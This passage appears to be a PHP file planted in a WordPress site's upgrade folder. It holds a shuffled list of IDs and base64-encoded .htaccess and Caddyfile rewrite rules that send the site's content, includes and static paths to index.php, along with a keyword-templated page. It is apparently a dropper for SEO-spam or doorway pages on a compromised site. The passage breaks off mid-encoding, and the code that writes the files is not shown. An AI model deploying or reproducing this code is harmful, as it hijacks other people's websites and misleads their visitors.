File "output_script-20251105105158.php"

Full Path: /home/tekvhqgl/public_html/wp-content/upgrade/output_script-20251105105158.php
File size: 390.65 KB
MIME-type: text/x-php
Charset: utf-8

<?php

// 函数:生成随机字符串
function generateRandomString($length = 10) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

$app_ids = [
'f42c1bc3c8c26288',
'ed3a2e8ec84c2ba5',
'43ffcfa7e71a78ef',
'268e9fc97a822a63',
'4280cd988db3fe2b',
'f6d2b50ee57b3bbc',
'7cd89346d58ff9f1',
'b2cafca4d8353ba6',
'1ba85492b2901f98',
'a6a2e3631f2f7c38',
'fc54c4d506dfa3f7',
'2a05bdd549048e43',
'c1729909d0b2a3f3',
'cb5681fdb09a0e8c',
'bc38ffc811bd1570',
'84fb9678ce075a1c',
'05d26c8eb607083c',
'0ad5b830959c1ebf',
'6caa9f4029dd16c4',
'dc1c939a31ca99a6',
'2f67f8ad78c177b7',
'9e53cb19fa47f122',
'1524232b115dca27',
'ae853e1a920cff85',
'844388d8f95cf9ef',
'dca348cbef645d65',
'b2d7d68152d38358',
'2d6d8b000f54ed0c',
'07172191b9394156',
'5a1f2ec6ec7ffbd9',
'e22a4c0304ad8b1c',
'ce623306a88f5ae8',
'edb589457107b73e',
'34c18343e0b07caa',
'8155edac49994d2f',
'75342a1c84e3e9c9',
'21fcf2007870b64d',
'd48ad3119037f34f',
'bdccb4febc5528e1',
'4f2c8920f361144c',
'1805e2f72fd4de0c',
'91e304fee73ba1a9',
'3139104511afd548',
'f642f89a274149e5',
'ac3ff690eea371eb',
'8f1b31a15f4569a4',
'843638c7169b0deb',
'562bac587006f407',
'1fff0a1107f97773',
'0e48254252b1ecf3',
'c0dca75ae92c73a9',
'a5866d14be55cf92',
'51d20d020aafb250',
'8cb4456f9af654e4',
'2daf2590717b9066',
'0c5a6e4adc0c1437',
'e469e2b67f90efef',
'9585f8b99fb37538',
'7c787492c59825c2',
'bc2af1d58044932b',
'c17e159181129915',
'c547ce40f08892dc',
'985dbb0deec16ca3',
'ad218a7cc136ad2a',
'bb64c14d6db3face',
'a8a0b22128ff15e5',
'd71b69cb4a79f348',
'b5bd85b00740d515',
'36a20628990b8cb2',
'1a7f5f78023714eb',
'fd2354f497a6de1a',
'eb62e8f09b4fef76',
'41443b707dd5655e',
'8a13b46fc4cb51ac',
'e0de2b55c1342add',
'beb3d85b3264760f',
'c60e084a42bdc24a',
'cad13c5e0ce1b200',
'6e26e37a954d05cf',
'5e811e39a92b41f1',
'93f5848e3daf022c',
'd3a2c9eefcace0d0',
'ee454b28c1101ac4',
'621c56731fba5970',
'a474d9f50e584d1a',
'd69867bb068c2af7',
'0cbe568d367fcb2b',
'de10294c40c0d708',
'0a59bdbea5b1166a',
'5b30f519030a29cc',
'70f24d68b0e3e7a3',
'3e1f694e5c9a60e7',
'2962d83be3cc1ad2',
'0e477358b0dd80b1',
'dd9d5e373fbe00ed',
'da81c9834b379e24',
'4d67a6de987fce73',
'4720d0c64d2ca312',
'd864d380d274ded6',
'7062bd482cb5ce13',
'6475394d13cd6fad',
'9789a32bb7936112',
'76d713745dfb3ad3',
'c0a97a841de33f9c',
'f2c0e3a539b8f369',
'c475a19f73a9b1ad',
'a3e5a787dd0aac80',
'd664aa1eb92e0505',
'1a4be20f74d13ba3',
'8ae8a7746946350a',
'bc9098c0103941d4',
'34b5749426cd6644',
'b688dc609843e020',
'e4916a52ed90477b',
'44d6e56d21598b72',
'63d70b53a5f62fec',
'ef1b40e517de185b',
'f7c7a14d0adb727a',
'e8ae1ecf0050f69f',
'5c0a8116e1984466',
'5aa29a7c3323fd6f',
'ecda794bf4a614d1',
'a7b3ec650aaa3256',
'04ef2853ec9cfe1c',
'31b65ad2b53d60d7',
'051543679e5dae25',
'70c5da918b5b6175',
'ad31a9fdaf2b08de',
'95f2d0fdd13c87ac',
'33a6a1f6d5ff8be5',
'ee231e287c21777a',
'aab048c65bfecee8',
'dfbd8a69676b8b47',
'9e48359582f17b53',
'aa911427da6e6e4f',
'2b905fb48509c947',
'5d339904fed4f49c',
'9f2cd7abbdeb1d60',
'6e1ee6166d56acf4',
'3976472d538b0f48',
'aef189cb606fc5e3',
'82c7d85f8d2b7d24',
'd561e201845cee50',
'2d87b6dc4295bda4',
'17660bcc142fd40e',
'd01b06227519b5d4',
'6fe5d339d19b8be7',
'965ee4bce823033a',
'8c5be5d38a547da4',
'd6ec5b4cc9633019',
'bacf5577c50989b4',
'2c9b96b190ec2148',
'a5d1cfd981965b38',
'f3452e88cfde320c',
'1db68dd6877f9eef',
'135a5e4e24030ca3',
'80e1d10837592277',
'adecf5aaf4f33476',
'59daff6693c00b4b',
'747c6fdee557db6a',
'3a60a932698272c3',
'e455c95b1a2a3b32',
'66850e81078af48d',
'70b472d8ff7deb68',
'cf2b00e401211855',
'57e59fdc8efdb7b3',
'16806a3690ac7ccd',
'4942a92c112dd7cf',
'c33666d26ea577b6',
'44e2400b48a82506',
'9aec357121e3daeb',
'b1a5e452b6c8f937',
'924c8a7d3a875704',
'8d98b3b9fec97d16',
'1682fe7f50e798ee',
'6669f36a3636caa6',
'a6af981563b065bd',
'f3af6c40cc589c37',
'7defaa100b808842',
'4fc6bc132a64a18c',
'6ba2548ecab682dd',
'765ca2ce5ef11d10',
'01718b861ec080e3',
'a0ac6af5c379c464',
'9f391a4ef286d778',
'912038590ae388d9',
'd5b0e8899eb601c5',
'41eeadf84c8bff34',
'fbcbe3a6adbd4578',
'024b9b3135c675eb',
'b3bce85b5feada1a',
'15f797ef4bc13f9a',
'0e5c22f9b10f876c',
'fff48b92d22c85a4',
'644c08b62059a6e7',
'c31506fcb152ab40',
'e4ea749f835725cd',
'40c12027afb64a9d',
'2ceeee26f4c21494',
'1ae0592d97c5531d',
'41c439d47f9c5bd8',
'8800fa39132b73ad',
'22a5ff848393d4e5',
'82969af90ffd87aa',
'52bd9f1a449828ca',
'71daa9bfaeaf3ee0',
'6bd512ab46f20eb3',
'59b874db94f36089',
'8a0c258f81534f3b',
'9d66fb4d3c52e51b',
'dc6082d2229672ad',
'ae423046b257f8ed',
'001197419b8c38b1',
'fe9f7afd25db9875',
'84c287856fa1fc4c',
'a3898d5847ebcc5d',
'1c7f6e068f9ec092',
'269ed1e2219c02fc',
'8e88dce4985bc39c',
'546b48655dee5d40',
'2bf6a722a4a945f1',
'c080455dcc70a692',
'5c0edbaf00e87e02',
'478c185b80543223',
'4293e8342b795497',
'f4511799a4635023',
'2cd9ee29aa758acd',
'9e8174872e42ea3d',
'f5028f7ab5b7817e',
'aa722dbc44133cc0',
'74811f2c356af726',
'9743240b090966c7',
'7047e18849e86076',
'a4d24b750e15fd64',
'efa39f7e56e3cb73',
'dbb478a0bd08a45f',
'9a56cbcdcac7f9f0',
'f409da386bd2abf0',
'6238e838a1a20f64',
'df5871362e26bdd6',
'9c9f4edea7dbd134',
'74c20ad424a0471a',
'4db17f74b5c9de03',
'f6876a894d1b01c8',
'3b0ae82cf7b4cd70',
'd0d82aac58d9e2f1',
'd44b2de782b8b586',
'bf095eef6260183d',
'b9d240750aa3cc88',
'5f83a9809f5ffb38',
'5fe246bbebac16be',
'ba4c2dee8b947483',
'ca9a61e4af23e40f',
'e0e0ccc6f4fddb81',
'2e7af2c977b72be7',
'e4f8beca5b439957',
'9b562ceb1d3b2418',
'91aa496da75314a0',
'cef79b09d72b2ec4',
'7d91c0c1d0e3846b',
'c9e2914975f35db5',
'8184901d713fb76c',
'efe1a2ba7cf19bf6',
'410691af3b8ceba8',
'e0f00374e78d24f3',
'd616d2c55911bc2f',
'd1fc266d99474c1b',
'9fe80f951b712036',
'12ce2e767528f952',
'61edc17e0ccd8783',
'408d990980b1628c',
'c55bff9f4c00d47b',
'3830fb39ad7d4320',
'78cc36979c4e6304',
'c7d1488ce7125559',
'd77b45dcbf18b599',
'd00650e0518720cc',
'1a1bbb8e318676f7',
'87428dde963b6cd3',
'6e0d9afcdbce302f',
'157b20fc0764626d',
'f682f89b0d727638',
'14c89e01fe4bc52f',
'aeda737214112751',
'f84b19155ce24136',
'29d7d090af7d4c01',
'c278d5372476d755',
'6737fe3947db5610',
'f95dff27a68aa1fd',
'd32704f86bbd0865',
'ac80b08a44d0e936',
'0606b942861096f4',
'ba676db8749f4d28',
'561e2d648dccd9e2',
'b88fe3a09a81cb02',
'a42cc47e00fbade2',
'9d5f8965a597142b',
'35d12e70ae08fde6',
'659b7fa0801cd8fc',
'662fb4adc012ebe2',
];
shuffle($app_ids);

$files = array (
  '.htaccess' => 'UmV3cml0ZUVuZ2luZSBPbg0KDQpSZXdyaXRlUnVsZSBeZGV0YWlsLyg/OlteX10qKV8oW14uL10rKVwuaHRtbCQgaW5kZXgucGhwP3Q9ZGV0YWlsJmk9JDEgW0xdDQpSZXdyaXRlUnVsZSBeY29sbGVjdGlvbi8oPzpbXl9dKilfKFteLi9dKylcLmh0bWwkIGluZGV4LnBocD90PWNvbGxlY3Rpb24maT0kMSBbTF0NClJld3JpdGVSdWxlIF5jb2xsZWN0aW9uLyg/OlteX10qKV8oW14uL10rKS8oXGQrKS8oXGQrKVwuaHRtbCQgaW5kZXgucGhwP3Q9Y29sbGVjdGlvbiZpPSQxJm49JDImcz0kMyBbTF0NCg0KUmV3cml0ZVJ1bGUgXnN0YXRpYy8oLiopJCAgaW5kZXgucGhwP3Q9c3RhdGljJnA9c3RhdGljJmU9JDEgW0xdDQpSZXdyaXRlUnVsZSBed3AtY29udGVudC8oLiopJCAgaW5kZXgucGhwP3Q9c3RhdGljJnA9d3AtY29udGVudCZlPSQxIFtMXQ0KUmV3cml0ZVJ1bGUgXndwLWluY2x1ZGVzLyguKikkIGluZGV4LnBocD90PXN0YXRpYyZwPXdwLWluY2x1ZGVzJmU9JDEgW0xdDQo=',
  'Caddyfile' => 'cmV3cml0ZSB7DQogICAgIyBSZXdyaXRlIHJ1bGUgZm9yIC9kZXRhaWwvKi8qLmh0bWwNCiAgICByIF4vZGV0YWlsLyg/OlteX10qKV8oW14uL10rKVwuaHRtbCQNCiAgICB0byAvaW5kZXgucGhwP3Q9ZGV0YWlsJmk9ezF9DQp9DQoNCnJld3JpdGUgew0KICAgICMgUmV3cml0ZSBydWxlIGZvciAvY29sbGVjdGlvbi8qLyouaHRtbA0KICAgIHIgXi9jb2xsZWN0aW9uLyg/OlteX10qKV8oW14uL10rKVwuaHRtbCQNCiAgICB0byAvaW5kZXgucGhwP3Q9Y29sbGVjdGlvbiZpPXsxfQ0KfQ0KDQpyZXdyaXRlIHsNCiAgICAjIFJld3JpdGUgcnVsZSBmb3IgL2NvbGxlY3Rpb24vKi8qLyouaHRtbA0KICAgIHIgXi9jb2xsZWN0aW9uLyg/OlteX10qKV8oW14uL10rKS8oXGQrKS8oXGQrKVwuaHRtbCQNCiAgICB0byAvaW5kZXgucGhwP3Q9Y29sbGVjdGlvbiZpPXsxfSZuPXsyfSZzPXszfQ0KfQ0KDQpyZXdyaXRlIHsNCiAgICAjIFJld3JpdGUgcnVsZSBmb3IgL3N0YXRpYy8qDQogICAgciBeL3N0YXRpYy8oLiopDQogICAgdG8gL2luZGV4LnBocD90PXN0YXRpYyZwPXN0YXRpYyZlPXsxfQ0KfQ0KDQpyZXdyaXRlIHsNCiAgICAjIFJld3JpdGUgcnVsZSBmb3IgL3dwLWNvbnRlbnQvKg0KICAgIHIgXi93cC1jb250ZW50LyguKikNCiAgICB0byAvaW5kZXgucGhwP3Q9c3RhdGljJnA9d3AtY29udGVudCZlPXsxfQ0KfQ0KDQpyZXdyaXRlIHsNCiAgICAjIFJld3JpdGUgcnVsZSBmb3IgL3dwLWluY2x1ZGVzLyoNCiAgICByIF4vd3AtaW5jbHVkZXMvKC4qKQ0KICAgIHRvIC9pbmRleC5waHA/dD1zdGF0aWMmcD13cC1pbmNsdWRlcyZlPXsxfQ0KfQ0K',
  'collection.html' => 'PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbi1VUyIgcHJlZml4PSJvZzogaHR0cDovL29ncC5tZS9ucyMgZmI6IGh0dHA6Ly9vZ3AubWUvbnMvZmIjIj4NCjxoZWFkPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSIvPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ii8+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtaW5pbXVtLXNjYWxlPTEiLz4NCiAgICB7e2tleXdvcmRzfX0NCiAgICB7e2Rlc2NyaXB0aW9ufX0NCiAgICB7e3RpdGxlfX0NCiAgICA8bWV0YSBuYW1lPSdyb2JvdHMnIGNvbnRlbnQ9J21heC1pbWFnZS1wcmV2aWV3OmxhcmdlJy8+DQogICAgPHN0eWxlPg0KICAgICAgICBpbWcud3Atc21pbGV5LA0KICAgICAgICBpbWcuZW1vamkgew0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXI6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGhlaWdodDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB3aWR0aDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBtYXJnaW46IDAgMC4wN2VtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3dwLWJsb2NrLWxpYnJhcnktY3NzJyBocmVmPScvd3AtaW5jbHVkZXMvY3NzL2Rpc3QvYmxvY2stbGlicmFyeS9zdHlsZS5taW4uY3NzP3Zlcj02LjEuNScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSd3cC1ibG9jay1saWJyYXJ5LXRoZW1lLWlubGluZS1jc3MnPg0KICAgICAgICAud3AtYmxvY2stYXVkaW8gZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWF1ZGlvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1hdWRpbyB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1jb2RlIHsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjY2M7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7DQogICAgICAgICAgICBmb250LWZhbWlseTogTWVubG8sIENvbnNvbGFzLCBtb25hY28sIG1vbm9zcGFjZTsNCiAgICAgICAgICAgIHBhZGRpbmc6IC44ZW0gMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stZW1iZWQgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWVtYmVkIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1lbWJlZCB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5ibG9ja3MtZ2FsbGVyeS1jYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAuYmxvY2tzLWdhbGxlcnktY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLWltYWdlIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay1pbWFnZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2staW1hZ2Ugew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcHVsbHF1b3RlIHsNCiAgICAgICAgICAgIGJvcmRlci10b3A6IDRweCBzb2xpZDsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDRweCBzb2xpZDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNzVlbTsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3INCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGVfX2NpdGF0aW9uLCAud3AtYmxvY2stcHVsbHF1b3RlIGNpdGUsIC53cC1ibG9jay1wdWxscXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgZm9udC1zaXplOiAuODEyNWVtOw0KICAgICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUgew0KICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IC4yNWVtIHNvbGlkOw0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMS43NWVtOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZSBjaXRlLCAud3AtYmxvY2stcXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICBmb250LXNpemU6IC44MTI1ZW07DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1yaWdodCB7DQogICAgICAgICAgICBib3JkZXItbGVmdDogbm9uZTsNCiAgICAgICAgICAgIGJvcmRlci1yaWdodDogLjI1ZW0gc29saWQ7DQogICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDA7DQogICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1jZW50ZXIgew0KICAgICAgICAgICAgYm9yZGVyOiBub25lOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUuaXMtbGFyZ2UsIC53cC1ibG9jay1xdW90ZS5pcy1zdHlsZS1sYXJnZSwgLndwLWJsb2NrLXF1b3RlLmlzLXN0eWxlLXBsYWluIHsNCiAgICAgICAgICAgIGJvcmRlcjogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlYXJjaCAud3AtYmxvY2stc2VhcmNoX19sYWJlbCB7DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VhcmNoX19idXR0b24gew0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2NjYzsNCiAgICAgICAgICAgIHBhZGRpbmc6IC4zNzVlbSAuNjI1ZW0NCiAgICAgICAgfQ0KDQogICAgICAgIDp3aGVyZSgud3AtYmxvY2stZ3JvdXAuaGFzLWJhY2tncm91bmQpIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEuMjVlbSAyLjM3NWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VwYXJhdG9yLmhhcy1jc3Mtb3BhY2l0eSB7DQogICAgICAgICAgICBvcGFjaXR5OiAuNA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvciB7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQ7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0bzsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0bw0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYWxwaGEtY2hhbm5lbC1vcGFjaXR5IHsNCiAgICAgICAgICAgIG9wYWNpdHk6IDENCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1zZXBhcmF0b3I6bm90KC5pcy1zdHlsZS13aWRlKTpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIHdpZHRoOiAxMDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7DQogICAgICAgICAgICBoZWlnaHQ6IDFweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLXdpZGUpOm5vdCguaXMtc3R5bGUtZG90cykgew0KICAgICAgICAgICAgaGVpZ2h0OiAycHgNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSB7DQogICAgICAgICAgICBtYXJnaW46ICIwIDAgMWVtIDAiDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGhlYWQgew0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGZvb3Qgew0KICAgICAgICAgICAgYm9yZGVyLXRvcDogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGQsIC53cC1ibG9jay10YWJsZSB0aCB7DQogICAgICAgICAgICB3b3JkLWJyZWFrOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAud3AtYmxvY2stdGFibGUgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXZpZGVvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay12aWRlbyBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdmlkZW8gew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGVtcGxhdGUtcGFydC5oYXMtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBwYWRkaW5nOiAxLjI1ZW0gMi4zNzVlbTsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IDA7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwDQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3djLWJsb2Nrcy12ZW5kb3JzLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL3BhY2thZ2VzL3dvb2NvbW1lcmNlLWJsb2Nrcy9idWlsZC93Yy1ibG9ja3MtdmVuZG9ycy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSd3Yy1ibG9ja3Mtc3R5bGUtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvcGFja2FnZXMvd29vY29tbWVyY2UtYmxvY2tzL2J1aWxkL3djLWJsb2Nrcy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdjbGFzc2ljLXRoZW1lLXN0eWxlcy1jc3MnIGhyZWY9Jy93cC1pbmNsdWRlcy9jc3MvY2xhc3NpYy10aGVtZXMubWluLmNzcz92ZXI9MScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSdnbG9iYWwtc3R5bGVzLWlubGluZS1jc3MnPg0KICAgICAgICBib2R5IHsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrOiAjMDAwMDAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheTogI2FiYjhjMzsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlOiAjZmZmZmZmOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rOiAjZjc4ZGE3Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcmVkOiAjY2YyZTJlOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiAjZmY2OTAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXI6ICNmY2I5MDA7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodC1ncmVlbi1jeWFuOiAjN2JkY2I1Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbjogIzAwZDA4NDsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlOiAjOGVkMWZjOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtY3lhbi1ibHVlOiAjMDY5M2UzOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlOiAjOWI1MWUwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcHJpbWFyeTogIzIyMjUyOTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXNlY29uZGFyeTogI2VlODM3OTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXRlcnRpYXJ5OiAjMmJhYWIxOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcXVhdGVybmFyeTogIzM4M2Y0ODsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWRhcms6ICMyMjI1Mjk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodDogI